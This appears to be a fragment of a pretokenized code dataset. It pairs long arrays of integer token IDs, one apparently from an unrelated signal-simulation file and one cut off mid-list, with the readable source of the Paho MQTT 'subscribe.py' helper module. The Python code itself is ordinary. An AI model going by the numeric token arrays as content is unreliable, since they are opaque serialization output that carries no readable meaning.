29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
13,
268,
13,
13,
13,
1678,
4145,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
29897,
13,
1678,
1559,
4336,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
29897,
13,
1678,
285,
9382,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29897,
13,
1678,
5941,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29897,
29937,
16645,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29897,
29937,
13,
13,
13,
1678,
28750,
353,
29871,
7442,
29889,
3298,
359,
3552,
29886,
1193,
29918,
2435,
29892,
29906,
876,
13,
1678,
28750,
29961,
3881,
29898,
29886,
1193,
29918,
2435,
511,
3502,
292,
29918,
29890,
29918,
9346,
292,
29962,
353,
29871,
29896,
13,
268,
13,
1678,
10650,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29897,
13,
1678,
736,
259,
313,
17743,
1919,
4287,
4336,
29892,
29888,
9382,
29892,
14941,
29892,
9346,
292,
29892,
1610,
29892,
1111,
12352,
29897,
13,
13,
13,
29992,
29926,
277,
29898,
29876,
459,
1656,
29922,
5574,
29897,
13,
1753,
1653,
29918,
3502,
292,
29898,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10568,
29892,
9346,
292,
29918,
10289,
29892,
29886,
1193,
29918,
2435,
1125,
13,
1678,
921,
353,
7442,
29889,
3298,
359,
29898,
29886,
1193,
29918,
2435,
29974,
29896,
29892,
29881,
1853,
29922,
9302,
29889,
524,
19925,
13,
1678,
28750,
29918,
10289,
353,
938,
29898,
9346,
292,
29918,
10289,
29897,
13,
1678,
1399,
29916,
353,
938,
29898,
9346,
292,
29918,
10289,
29897,
13,
1678,
2106,
353,
5852,
13,
1678,
12379,
29918,
3317,
29918,
29879,
567,
353,
1399,
29916,
29995,
4236,
29918,
29879,
567,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
29916,
29889,
2311,
1125,
13,
4706,
921,
29961,
29875,
29962,
353,
2106,
13,
4706,
1399,
29916,
353,
1399,
29916,
718,
9346,
292,
29918,
10568,
13,
4706,
3151,
29918,
3317,
29918,
29879,
567,
353,
1399,
29916,
29995,
3317,
29918,
29879,
567,
13,
4706,
565,
3151,
29918,
3317,
29918,
29879,
567,
29966,
16304,
29918,
3317,
29918,
29879,
567,
29901,
13,
9651,
2106,
353,
451,
2106,
13,
4706,
12379,
29918,
3317,
29918,
29879,
567,
353,
3151,
29918,
3317,
29918,
29879,
567,
13,
1678,
736,
921,
13,
13,
1753,
1653,
29918,
11249,
29918,
11255,
29898,
878,
353,
525,
29890,
567,
29895,
742,
29886,
1193,
29918,
2435,
353,
29871,
29896,
29906,
29947,
29892,
29879,
567,
29922,
29947,
29892,
29886,
19994,
29918,
774,
29893,
353,
29871,
29900,
29889,
29941,
29945,
29892,
13,
462,
29871,
28750,
29918,
10289,
353,
29871,
29900,
29889,
29945,
29892,
13,
462,
29871,
285,
9382,
29918,
1028,
949,
353,
29871,
29896,
29892,
29871,
13,
462,
29871,
3005,
29939,
29918,
3127,
353,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
29892,
8576,
29918,
3127,
353,
7442,
29889,
1631,
29892,
268,
13,
462,
29871,
5807,
29878,
353,
29871,
29896,
29900,
29892,
4236,
29918,
29879,
567,
353,
29871,
29896,
29906,
29947,
29892,
19676,
29918,
29888,
9382,
353,
7700,
29892,
3005,
29939,
29918,
262,
29918,
29882,
29920,
353,
7700,
29892,
13,
462,
29871,
16717,
353,
6213,
1125,
13,
1678,
269,
1160,
29918,
10492,
353,
29871,
29896,
13,
1678,
565,
16717,
338,
451,
6213,
29901,
13,
4706,
7442,
29889,
8172,
29889,
26776,
29898,
26776,
29897,
13,
308,
13,
1678,
565,
878,
297,
640,
29918,
21646,
29918,
1545,
29918,
1761,
29901,
13,
4706,
1797,
353,
29871,
29906,
13,
1678,
1683,
29901,
396,
22985,
878,
2785,
13,
4706,
1797,
353,
29871,
5608,
29918,
1545,
29918,
3075,
29961,
1545,
1822,
2311,
259,
13,
418,
13,
308,
13,
1678,
302,
29918,
18098,
29879,
353,
938,
29898,
313,
29886,
1193,
29918,
2435,
6802,
29898,
29879,
567,
29930,
29900,
29889,
29945,
876,
718,
29871,
29906,
13,
13,
308,
13,
1678,
848,
29918,
11967,
5824,
29922,
9302,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
2098,
29892,
29876,
29918,
18098,
29879,
29897,
13,
13,
308,
13,
268,
13,
1678,
2320,
353,
28750,
29918,
10289,
13,
1678,
28750,
29918,
10289,
353,
22235,
29918,
9346,
292,
29918,
10289,
29898,
11082,
29892,
4236,
29918,
29879,
567,
29897,
13,
13,
1678,
28750,
29918,
10568,
353,
29871,
938,
29898,
3317,
29918,
29879,
567,
29914,
29879,
567,
29897,
13,
13,
1678,
878,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29922,
1545,
5987,
29918,
18098,
29879,
29918,
11255,
29898,
1272,
29918,
11967,
5824,
29892,
1545,
29892,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
774,
29893,
353,
9505,
344,
29918,
774,
29893,
29897,
13,
13,
1678,
848,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29922,
7442,
29889,
14358,
29898,
1272,
29918,
11967,
5824,
29892,
3317,
29918,
29879,
567,
29897,
13,
13,
308,
13,
308,
13,
1678,
260,
29918,
3317,
29918,
29879,
567,
29922,
7442,
29889,
279,
927,
29898,
29900,
29892,
29896,
29889,
29900,
29930,
3317,
29918,
29879,
567,
29930,
29876,
29918,
18098,
29879,
29914,
29879,
1160,
29918,
10492,
29892,
29896,
29889,
29900,
29914,
29879,
1160,
29918,
10492,
29897,
13,
308,
13,
308,
13,
13,
13,
13,
13,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
878,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
7503,
29886,
1193,
29918,
2435,
29962,
13,
13,
1678,
848,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
1272,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
13,
1678,
878,
29918,
1610,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
878,
5987,
29918,
18098,
29879,
29898,
1272,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1545,
29892,
29879,
567,
353,
29871,
29896,
29892,
18230,
29893,
353,
6213,
29892,
9505,
344,
29918,
12181,
353,
6213,
29897,
13,
13,
13,
1678,
260,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
29873,
29918,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
13,
13,
1678,
9558,
29918,
1272,
29918,
9346,
292,
353,
1653,
29918,
3502,
292,
29898,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10568,
29892,
9346,
292,
29918,
10289,
29892,
29886,
1193,
29918,
2435,
29897,
13,
13,
13,
1678,
2791,
292,
29918,
29890,
29918,
9346,
292,
353,
9558,
29918,
1272,
29918,
9346,
292,
7503,
29899,
29896,
29962,
13,
268,
13,
1678,
9558,
29918,
1272,
29918,
9346,
292,
353,
7442,
29889,
6897,
29898,
9302,
29889,
12765,
29898,
20543,
29918,
1272,
29918,
9346,
292,
8106,
579,
668,
877,
524,
1495,
13,
13,
268,
13,
1678,
878,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
878,
29918,
1610,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29930,
20543,
29918,
1272,
29918,
9346,
292,
13,
1678,
878,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29961,
20543,
29918,
1272,
29918,
9346,
292,
1360,
29900,
13192,
9302,
29889,
13707,
29974,
29896,
29926,
29930,
9302,
29889,
13707,
13,
13,
13,
1678,
565,
451,
4280,
29918,
29888,
9382,
29901,
13,
4706,
1302,
12352,
353,
5706,
29918,
29888,
9382,
29918,
29873,
2547,
29898,
3317,
29918,
29879,
567,
847,
28750,
29918,
10568,
29892,
285,
9382,
29918,
1028,
949,
29897,
13,
4706,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
353,
29611,
29918,
29888,
9382,
29918,
12719,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1302,
12352,
29897,
13,
1678,
1683,
29901,
13,
4706,
1302,
12352,
29922,
17158,
29918,
19676,
29918,
29888,
9382,
29918,
29873,
2547,
29898,
3317,
29918,
29879,
567,
847,
28750,
29918,
10568,
29892,
285,
9382,
29918,
1028,
949,
29897,
13,
4706,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
353,
29611,
29918,
29888,
9382,
29918,
12719,
29918,
19676,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1302,
12352,
29897,
13,
268,
13,
268,
13,
1678,
565,
451,
3005,
29939,
29918,
262,
29918,
29882,
29920,
29901,
13,
4706,
260,
29918,
29888,
7971,
353,
260,
29918,
9346,
292,
29918,
3127,
13,
1678,
1683,
29901,
13,
4706,
260,
29918,
29888,
7971,
353,
7442,
29889,
279,
927,
29898,
29873,
29918,
9346,
292,
29918,
3127,
29889,
2311,
29897,
13,
18884,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
353,
29611,
29918,
10745,
23860,
29918,
2704,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29892,
29873,
29918,
29888,
7971,
29892,
29888,
7971,
29918,
3127,
29892,
21646,
29918,
3127,
29897,
13,
1678,
1559,
4336,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
10745,
23860,
29918,
2704,
29898,
29896,
29889,
29900,
29892,
29873,
29918,
29888,
7971,
29892,
29888,
7971,
29918,
3127,
29892,
21646,
29918,
3127,
29897,
13,
259,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
353,
788,
29918,
1217,
895,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
29892,
16586,
29878,
29897,
13,
1678,
13,
1678,
1015,
353,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
13,
268,
13,
13,
13,
1678,
4145,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
29897,
13,
1678,
1559,
4336,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
29897,
13,
1678,
285,
9382,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29897,
13,
1678,
5941,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29897,
13,
13,
13,
1678,
28750,
353,
29871,
7442,
29889,
3298,
359,
3552,
29886,
1193,
29918,
2435,
29892,
29906,
876,
13,
1678,
28750,
29961,
3881,
29898,
29886,
1193,
29918,
2435,
511,
3502,
292,
29918,
29890,
29918,
9346,
292,
29889,
579,
668,
29898,
9302,
29889,
524,
29918,
4638,
353,
29871,
29896,
13,
268,
13,
1678,
10650,
353,
3566,
29918,
29875,
29939,
29906,
29898,
1545,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29897,
13,
1678,
736,
259,
313,
17743,
1919,
4287,
4336,
29892,
29888,
9382,
29892,
14941,
29892,
9346,
292,
29892,
1610,
29892,
1111,
12352,
29897,
13,
13,
13,
1753,
3566,
29918,
29875,
29939,
29906,
29898,
4280,
29918,
2003,
1125,
13,
1678,
1015,
29918,
2003,
353,
7442,
29889,
3298,
359,
3552,
19676,
29918,
2003,
29889,
12181,
29961,
29900,
1402,
29906,
876,
13,
1678,
1015,
29918,
2003,
7503,
29892,
29900,
29962,
353,
7442,
29889,
6370,
29898,
19676,
29918,
2003,
29897,
13,
1678,
1015,
29918,
2003,
7503,
29892,
29896,
29962,
353,
7442,
29889,
326,
351,
29898,
19676,
29918,
2003,
29897,
13,
1678,
736,
1015,
29918,
2003,
13,
13,
13,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1243,
29918,
1272,
29918,
18816,
29918,
23482,
580,
2
] |
paho/mqtt/subscribe.py | RandomGamer342/TTM4115-plantsensor | 8 | 6172 | <gh_stars>1-10
# Copyright (c) 2016 <NAME> <<EMAIL>>
#
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Eclipse Public License v1.0
# and Eclipse Distribution License v1.0 which accompany this distribution.
#
# The Eclipse Public License is available at
# http://www.eclipse.org/legal/epl-v10.html
# and the Eclipse Distribution License is available at
# http://www.eclipse.org/org/documents/edl-v10.php.
#
# Contributors:
# <NAME> - initial API and implementation
"""
This module provides some helper functions to allow straightforward subscribing
to topics and retrieving messages. The two functions are simple(), which
returns one or messages matching a set of topics, and callback() which allows
you to pass a callback for processing of messages.
"""
import paho.mqtt.client as paho
import paho.mqtt as mqtt
import ssl
def _on_connect(c, userdata, flags, rc):
"""Internal callback"""
if rc != 0:
raise mqtt.MQTTException(paho.connack_string(rc))
if type(userdata['topics']) is list:
for t in userdata['topics']:
c.subscribe(t, userdata['qos'])
else:
c.subscribe(userdata['topics'], userdata['qos'])
def _on_message_callback(c, userdata, message):
"""Internal callback"""
userdata['callback'](c, userdata['userdata'], message)
def _on_message_simple(c, userdata, message):
"""Internal callback"""
if userdata['msg_count'] == 0:
return
# Don't process stale retained messages if 'retained' was false
if userdata['retained'] == False and message.retain == True:
return
userdata['msg_count'] = userdata['msg_count'] - 1
if userdata['messages'] is None and userdata['msg_count'] == 0:
userdata['messages'] = message
c.disconnect()
return
userdata['messages'].append(message)
if userdata['msg_count'] == 0:
c.disconnect()
def callback(callback, topics, qos=0, userdata=None, hostname="localhost",
port=1883, client_id="", keepalive=60, will=None, auth=None, tls=None,
protocol=paho.MQTTv311, transport="tcp"):
"""Subscribe to a list of topics and process them in a callback function.
This function creates an MQTT client, connects to a broker and subscribes
to a list of topics. Incoming messages are processed by the user provided
callback. This is a blocking function and will never return.
callback : function of the form "on_message(client, userdata, message)" for
processing the messages received.
topics : either a string containing a single topic to subscribe to, or a
list of topics to subscribe to.
qos : the qos to use when subscribing. This is applied to all topics.
userdata : passed to the callback
hostname : a string containing the address of the broker to connect to.
Defaults to localhost.
port : the port to connect to the broker on. Defaults to 1883.
client_id : the MQTT client id to use. If "" or None, the Paho library will
generate a client id automatically.
keepalive : the keepalive timeout value for the client. Defaults to 60
seconds.
will : a dict containing will parameters for the client: will = {'topic':
"<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}.
Topic is required, all other parameters are optional and will
default to None, 0 and False respectively.
Defaults to None, which indicates no will should be used.
auth : a dict containing authentication parameters for the client:
auth = {'username':"<username>", 'password':"<password>"}
Username is required, password is optional and will default to None
if not provided.
Defaults to None, which indicates no authentication is to be used.
tls : a dict containing TLS configuration parameters for the client:
dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>",
'keyfile':"<keyfile>", 'tls_version':"<tls_version>",
'ciphers':"<ciphers">}
ca_certs is required, all other parameters are optional and will
default to None if not provided, which results in the client using
the default behaviour - see the paho.mqtt.client documentation.
Defaults to None, which indicates that TLS should not be used.
transport : set to "tcp" to use the default setting of transport which is
raw TCP. Set to "websockets" to use WebSockets as the transport.
"""
if qos < 0 or qos > 2:
raise ValueError('qos must be in the range 0-2')
callback_userdata = {
'callback':callback,
'topics':topics,
'qos':qos,
'userdata':userdata}
client = paho.Client(client_id=client_id,
userdata=callback_userdata, protocol=protocol, transport=transport)
client.on_message = _on_message_callback
client.on_connect = _on_connect
if auth is not None:
username = auth['username']
try:
password = auth['password']
except KeyError:
password = <PASSWORD>
client.username_pw_set(username, password)
if will is not None:
will_topic = will['topic']
try:
will_payload = will['payload']
except KeyError:
will_payload = None
try:
will_qos = will['qos']
except KeyError:
will_qos = 0
try:
will_retain = will['retain']
except KeyError:
will_retain = False
client.will_set(will_topic, will_payload, will_qos, will_retain)
if tls is not None:
ca_certs = tls['ca_certs']
try:
certfile = tls['certfile']
except KeyError:
certfile = None
try:
keyfile = tls['keyfile']
except KeyError:
keyfile = None
try:
tls_version = tls['tls_version']
except KeyError:
tls_version = ssl.PROTOCOL_SSLv23;
try:
ciphers = tls['ciphers']
except KeyError:
ciphers = None
client.tls_set(ca_certs, certfile, keyfile, tls_version=tls_version,
ciphers=ciphers)
client.connect(hostname, port, keepalive)
client.loop_forever()
def simple(topics, qos=0, msg_count=1, retained=True, hostname="localhost", port=1883,
client_id="", keepalive=60, will=None, auth=None, tls=None,
protocol=paho.MQTTv311, transport="tcp"):
"""Subscribe to a list of topics and return msg_count messages.
This function creates an MQTT client, connects to a broker and subscribes
to a list of topics. Once "msg_count" messages have been received, it
disconnects cleanly from the broker and returns the messages.
topics : either a string containing a single topic to subscribe to, or a
list of topics to subscribe to.
qos : the qos to use when subscribing. This is applied to all topics.
msg_count : the number of messages to retrieve from the broker.
if msg_count == 1 then a single MQTTMessage will be returned.
if msg_count > 1 then a list of MQTTMessages will be returned.
retained : If set to True, retained messages will be processed the same as
non-retained messages. If set to False, retained messages will
be ignored. This means that with retained=False and msg_count=1,
the function will return the first message received that does
not have the retained flag set.
hostname : a string containing the address of the broker to connect to.
Defaults to localhost.
port : the port to connect to the broker on. Defaults to 1883.
client_id : the MQTT client id to use. If "" or None, the Paho library will
generate a client id automatically.
keepalive : the keepalive timeout value for the client. Defaults to 60
seconds.
will : a dict containing will parameters for the client: will = {'topic':
"<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}.
Topic is required, all other parameters are optional and will
default to None, 0 and False respectively.
Defaults to None, which indicates no will should be used.
auth : a dict containing authentication parameters for the client:
auth = {'username':"<username>", 'password':"<password>"}
Username is required, password is optional and will default to None
if not provided.
Defaults to None, which indicates no authentication is to be used.
tls : a dict containing TLS configuration parameters for the client:
dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>",
'keyfile':"<keyfile>", 'tls_version':"<tls_version>",
'ciphers':"<ciphers">}
ca_certs is required, all other parameters are optional and will
default to None if not provided, which results in the client using
the default behaviour - see the paho.mqtt.client documentation.
Defaults to None, which indicates that TLS should not be used.
transport : set to "tcp" to use the default setting of transport which is
raw TCP. Set to "websockets" to use WebSockets as the transport.
"""
if msg_count < 1:
raise ValueError('msg_count must be > 0')
# Set ourselves up to return a single message if msg_count == 1, or a list
# if > 1.
if msg_count == 1:
messages = None
else:
messages = []
userdata = {'retained':retained, 'msg_count':msg_count, 'messages':messages}
callback(_on_message_simple, topics, qos, userdata, hostname, port,
client_id, keepalive, will, auth, tls, protocol, transport)
return userdata['messages']
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29953,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
2178,
10462,
21676,
29889,
910,
1824,
322,
278,
10259,
1384,
292,
17279,
13,
29937,
526,
1754,
3625,
1090,
278,
4958,
310,
278,
15103,
5236,
19245,
325,
29896,
29889,
29900,
13,
29937,
322,
15103,
17740,
19245,
325,
29896,
29889,
29900,
607,
10259,
1384,
445,
4978,
29889,
13,
29937,
13,
29937,
450,
15103,
5236,
19245,
338,
3625,
472,
13,
29937,
1678,
1732,
597,
1636,
29889,
13660,
29889,
990,
29914,
12018,
29914,
29872,
572,
29899,
29894,
29896,
29900,
29889,
1420,
13,
29937,
322,
278,
15103,
17740,
19245,
338,
3625,
472,
13,
29937,
259,
1732,
597,
1636,
29889,
13660,
29889,
990,
29914,
990,
29914,
3225,
29879,
29914,
287,
29880,
29899,
29894,
29896,
29900,
29889,
1961,
29889,
13,
29937,
13,
29937,
2866,
1091,
29560,
29901,
13,
29937,
1678,
529,
5813,
29958,
448,
2847,
3450,
322,
5314,
13,
13,
15945,
29908,
13,
4013,
3883,
8128,
777,
16876,
3168,
304,
2758,
20837,
21696,
10549,
13,
517,
23820,
322,
5663,
15387,
7191,
29889,
450,
1023,
3168,
526,
2560,
3285,
607,
13,
18280,
697,
470,
7191,
9686,
263,
731,
310,
23820,
29892,
322,
6939,
580,
607,
6511,
13,
6293,
304,
1209,
263,
6939,
363,
9068,
310,
7191,
29889,
13,
15945,
29908,
13,
13,
5215,
282,
29745,
29889,
28466,
698,
29889,
4645,
408,
282,
29745,
13,
5215,
282,
29745,
29889,
28466,
698,
408,
286,
29939,
698,
13,
5215,
24250,
13,
13,
13,
1753,
903,
265,
29918,
6915,
29898,
29883,
29892,
1404,
1272,
29892,
13449,
29892,
364,
29883,
1125,
13,
1678,
9995,
16491,
6939,
15945,
29908,
13,
1678,
565,
364,
29883,
2804,
29871,
29900,
29901,
13,
4706,
12020,
286,
29939,
698,
29889,
25566,
19988,
2451,
29898,
29886,
29745,
29889,
13082,
547,
29918,
1807,
29898,
2214,
876,
13,
13,
1678,
565,
1134,
29898,
1792,
1272,
1839,
3332,
1199,
11287,
338,
1051,
29901,
13,
4706,
363,
260,
297,
1404,
1272,
1839,
3332,
1199,
2033,
29901,
13,
9651,
274,
29889,
19496,
29898,
29873,
29892,
1404,
1272,
1839,
29939,
359,
11287,
13,
1678,
1683,
29901,
13,
4706,
274,
29889,
19496,
29898,
1792,
1272,
1839,
3332,
1199,
7464,
1404,
1272,
1839,
29939,
359,
11287,
13,
13,
13,
1753,
903,
265,
29918,
4906,
29918,
14035,
29898,
29883,
29892,
1404,
1272,
29892,
2643,
1125,
13,
1678,
9995,
16491,
6939,
15945,
29908,
13,
1678,
1404,
1272,
1839,
14035,
29915,
850,
29883,
29892,
1404,
1272,
1839,
1792,
1272,
7464,
2643,
29897,
13,
13,
13,
1753,
903,
265,
29918,
4906,
29918,
12857,
29898,
29883,
29892,
1404,
1272,
29892,
2643,
1125,
13,
1678,
9995,
16491,
6939,
15945,
29908,
13,
13,
1678,
565,
1404,
1272,
1839,
7645,
29918,
2798,
2033,
1275,
29871,
29900,
29901,
13,
4706,
736,
13,
13,
1678,
396,
3872,
29915,
29873,
1889,
380,
744,
26060,
7191,
565,
525,
2267,
7114,
29915,
471,
2089,
13,
1678,
565,
1404,
1272,
1839,
2267,
7114,
2033,
1275,
7700,
322,
2643,
29889,
2267,
475,
1275,
5852,
29901,
13,
4706,
736,
13,
13,
1678,
1404,
1272,
1839,
7645,
29918,
2798,
2033,
353,
1404,
1272,
1839,
7645,
29918,
2798,
2033,
448,
29871,
29896,
13,
13,
1678,
565,
1404,
1272,
1839,
19158,
2033,
338,
6213,
322,
1404,
1272,
1839,
7645,
29918,
2798,
2033,
1275,
29871,
29900,
29901,
13,
4706,
1404,
1272,
1839,
19158,
2033,
353,
2643,
13,
4706,
274,
29889,
2218,
6915,
580,
13,
4706,
736,
13,
13,
1678,
1404,
1272,
1839,
19158,
13359,
4397,
29898,
4906,
29897,
13,
1678,
565,
1404,
1272,
1839,
7645,
29918,
2798,
2033,
1275,
29871,
29900,
29901,
13,
4706,
274,
29889,
2218,
6915,
580,
13,
13,
13,
1753,
6939,
29898,
14035,
29892,
23820,
29892,
3855,
359,
29922,
29900,
29892,
1404,
1272,
29922,
8516,
29892,
3495,
978,
543,
7640,
613,
13,
4706,
2011,
29922,
29896,
29947,
29947,
29941,
29892,
3132,
29918,
333,
543,
613,
3013,
284,
573,
29922,
29953,
29900,
29892,
674,
29922,
8516,
29892,
4817,
29922,
8516,
29892,
260,
3137,
29922,
8516,
29892,
13,
4706,
9608,
29922,
29886,
29745,
29889,
25566,
19988,
29894,
29941,
29896,
29896,
29892,
8608,
543,
23981,
29908,
1125,
13,
1678,
9995,
4035,
13086,
304,
263,
1051,
310,
23820,
322,
1889,
963,
297,
263,
6939,
740,
29889,
13,
13,
1678,
910,
740,
10017,
385,
341,
29984,
19988,
3132,
29892,
4511,
29879,
304,
263,
2545,
3946,
322,
21696,
5707,
13,
1678,
304,
263,
1051,
310,
23820,
29889,
512,
11506,
7191,
526,
19356,
491,
278,
1404,
4944,
13,
1678,
6939,
29889,
29871,
910,
338,
263,
23473,
740,
322,
674,
2360,
736,
29889,
13,
13,
1678,
6939,
584,
740,
310,
278,
883,
376,
265,
29918,
4906,
29898,
4645,
29892,
1404,
1272,
29892,
2643,
5513,
363,
13,
1669,
9068,
278,
7191,
4520,
29889,
13,
13,
1678,
23820,
584,
2845,
263,
1347,
6943,
263,
2323,
11261,
304,
1014,
13086,
304,
29892,
470,
263,
13,
632,
1051,
310,
23820,
304,
1014,
13086,
304,
29889,
13,
13,
1678,
3855,
359,
584,
278,
3855,
359,
304,
671,
746,
21696,
10549,
29889,
910,
338,
7436,
304,
599,
23820,
29889,
13,
13,
1678,
1404,
1272,
584,
4502,
304,
278,
6939,
13,
13,
1678,
3495,
978,
584,
263,
1347,
6943,
278,
3211,
310,
278,
2545,
3946,
304,
4511,
304,
29889,
13,
1669,
13109,
29879,
304,
15683,
29889,
13,
13,
1678,
2011,
584,
278,
2011,
304,
4511,
304,
278,
2545,
3946,
373,
29889,
13109,
29879,
304,
29871,
29896,
29947,
29947,
29941,
29889,
13,
13,
1678,
3132,
29918,
333,
584,
278,
341,
29984,
19988,
3132,
1178,
304,
671,
29889,
960,
5124,
470,
6213,
29892,
278,
349,
29745,
3489,
674,
13,
18884,
5706,
263,
3132,
1178,
6336,
29889,
13,
13,
1678,
3013,
284,
573,
584,
278,
3013,
284,
573,
11815,
995,
363,
278,
3132,
29889,
13109,
29879,
304,
29871,
29953,
29900,
13,
18884,
6923,
29889,
13,
13,
1678,
674,
584,
263,
9657,
6943,
674,
4128,
363,
278,
3132,
29901,
674,
353,
11117,
13010,
2396,
13,
965,
9872,
13010,
28341,
525,
23813,
2396,
29908,
29966,
23813,
1013,
29892,
525,
29939,
359,
2396,
29966,
29939,
359,
10202,
525,
2267,
475,
2396,
29966,
2267,
475,
29958,
1836,
13,
965,
7488,
293,
338,
3734,
29892,
599,
916,
4128,
526,
13136,
322,
674,
13,
965,
2322,
304,
6213,
29892,
29871,
29900,
322,
7700,
8307,
29889,
13,
965,
13109,
29879,
304,
6213,
29892,
607,
14088,
694,
674,
881,
367,
1304,
29889,
13,
13,
1678,
4817,
584,
263,
9657,
6943,
10760,
4128,
363,
278,
3132,
29901,
13,
965,
4817,
353,
11117,
6786,
2396,
29908,
29966,
6786,
28341,
525,
5630,
2396,
29908,
29966,
5630,
29958,
9092,
13,
965,
4911,
978,
338,
3734,
29892,
4800,
338,
13136,
322,
674,
2322,
304,
6213,
13,
965,
565,
451,
4944,
29889,
13,
965,
13109,
29879,
304,
6213,
29892,
607,
14088,
694,
10760,
338,
304,
367,
1304,
29889,
13,
13,
1678,
260,
3137,
584,
263,
9657,
6943,
27658,
5285,
4128,
363,
278,
3132,
29901,
13,
3986,
9657,
353,
11117,
1113,
29918,
6327,
29879,
2396,
29908,
29966,
1113,
29918,
6327,
29879,
28341,
525,
6327,
1445,
2396,
29908,
29966,
6327,
1445,
28341,
13,
3986,
525,
1989,
1445,
2396,
29908,
29966,
1989,
1445,
28341,
525,
29873,
3137,
29918,
3259,
2396,
29908,
29966,
29873,
3137,
29918,
3259,
28341,
13,
3986,
525,
455,
561,
414,
2396,
29908,
29966,
455,
561,
414,
1013,
29913,
13,
3986,
5777,
29918,
6327,
29879,
338,
3734,
29892,
599,
916,
4128,
526,
13136,
322,
674,
13,
3986,
2322,
304,
6213,
565,
451,
4944,
29892,
607,
2582,
297,
278,
3132,
773,
13,
3986,
278,
2322,
10468,
448,
1074,
278,
282,
29745,
29889,
28466,
698,
29889,
4645,
5106,
29889,
13,
3986,
13109,
29879,
304,
6213,
29892,
607,
14088,
393,
27658,
881,
451,
367,
1304,
29889,
13,
1678,
8608,
584,
731,
304,
376,
23981,
29908,
304,
671,
278,
2322,
4444,
310,
8608,
607,
338,
13,
3986,
10650,
19374,
29889,
3789,
304,
376,
2676,
578,
9737,
29908,
304,
671,
2563,
29903,
1698,
1691,
408,
278,
8608,
29889,
13,
1678,
9995,
13,
13,
1678,
565,
3855,
359,
529,
29871,
29900,
470,
3855,
359,
1405,
29871,
29906,
29901,
13,
4706,
12020,
7865,
2392,
877,
29939,
359,
1818,
367,
